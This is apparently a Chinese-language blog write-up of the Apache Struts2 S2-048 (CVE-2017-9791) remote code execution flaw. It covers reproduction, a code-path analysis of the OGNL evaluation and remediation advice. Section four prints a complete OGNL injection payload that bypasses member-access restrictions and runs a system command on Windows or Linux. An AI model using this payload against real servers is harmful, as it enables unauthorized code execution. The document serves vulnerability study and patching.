一、漏洞介绍
1.1 漏洞背景
2017年7月7日,ApacheStruts 发布最新的安全公告,Apache Struts2的strus1插件存在远程代码执行的高危漏洞,漏洞编号为 CVE-2017-9791(S2-048)。攻击者可以构造恶意的字段值通过Struts2的struts2-struts1-plugin插件,远程执行代码。
1.2 漏洞影响
Apache Struts 2.3.x系列中启用了struts2-struts1-plugin插件的版本。
二、漏洞复现
本文使用Apache Struts22.3.24 版本作为复现演示实例。
首先下载struts-2.3.24-apps.zip,下载地址为http://archive.apache.org/dist/struts/2.3.24/。解压其中的 strucs2-showcase.war至 tomcat 的工作目录 webapps 下。
根据官网说明,可知漏洞产生的原因是将用户可控的值添加到 ActionMessage 并在客户前端展示,导致其进入 getText 函数,最后 message 被当作 ognl 表达式执行,搜索发现 org.apache.struts2.showcase.integration.SaveGangsterAction 存在漏洞。
查看 struts-integration.xml 配置文件可知对应 action 为 saveGangster,类为 org.apache.struts2.s1.Struts1Action。
所以访问 /integration/saveGangster.action
抓包修改参数值,发现成功执行了 OGNL 表达式。
三、漏洞原理分析
3.1 漏洞产生条件
Apache Struts2 2.3.x 系列启用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目录。
3.2 漏洞动态分析
漏洞的本质原因是在struts2-struts1-plugin包中的Struts1Action.java中的execute函数调用了getText函数,这个函数会执行ognl表达式,且是getText的输入内容是攻击者可控的。
首先执行的 truts1Action 的 execute 方法,该方法首先获取 Action
然后调用 saveGangsterAction 的 execute 方法,将表单请求封装到了 actionForm 中,
并设置一个标识,用于获取 ActionMessage
接着获取 request 中的 ActionMessage,检查 ActionMessage 是否为 null,不为 null 则处理 ActionMessage 并显示在客户端,此处调用了会执行 OGNL 表达式的 getText() 方法,将拼接后的参数传入其中, getText 方法会根据不同的Locale 去对应的资源文件里面获取相关文字信息并展现。
getText(StringaTextName) 方法位于 com.opensymphony.xwork2.ActionSupport 中,代码如下
然后进入 TextProviderSupport.getText(String key, String defaultValue, List<?> args) 方法,代码如下
接着进入 LocalizedTextUtil.findText(ClassaClass, String aTextName, Locale locale, String defaultMessage, Object[] args,ValueStack valueStack),代码如下
可知接着会调用 LocalizedTextUtil.getDefaultMessage(Stringkey, Locale locale, ValueStack valueStack, Object[] args, StringdefaultMessage),此函数调用了 TextParseUtil.translateVariables(String expression,ValueStack stack) 方法,执行 OGNL 表达式
TextParseUtil.translateVariables(Stringexpression,ValueStack stack) 方法代码如下
四、关于POC
4.1 远程代码执行POC
(1)用来出发文件漏洞,声明为文件上传。
%{(#_='multipart/form-data')
(2)用来注入OGNL代码,通过ognl表达式静态调用获取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS属性,并将获取的结果覆盖_memberAccess属性,绕过SecurityMemberAccess的限制。
.(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
(3)调用CMD命令的代码,首先判断操作系统,win下调用cmd,linux下调用bash。
.(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
五、修复意见
1、临时解决方案:通过使用 resourcekeys 替代将原始消息直接传递给 ActionMessage 的方式。如下所示:
messages.add(“msg”,new ActionMessage(“struts1.gangsterAdded”, gform.getName()));
一定不要使用如下的方式
messages.add(“msg”,new ActionMessage(“Gangster ” + gform.getName() + ” was added”));
2、 无奈解决方案:不启用struts2-struts1-plugin插件
3、 根本解决方案:建议升级到最新版本2.5.10.1
六、参考资料
[1] https://xianzhi.aliyun.com/forum/read/1844.html
[2] http://www.cnblogs.com/Zhujianshi/p/7146396.html
[3] http://blog.topsec.com.cn/ad_lab/strutss2-048%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
[4] http://xxlegend.com/2017/07/08/S2-048%20%E5%8A%A8%E6%80%81%E5%88%86%E6%9E%90/
原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/tech/aiops/55028.html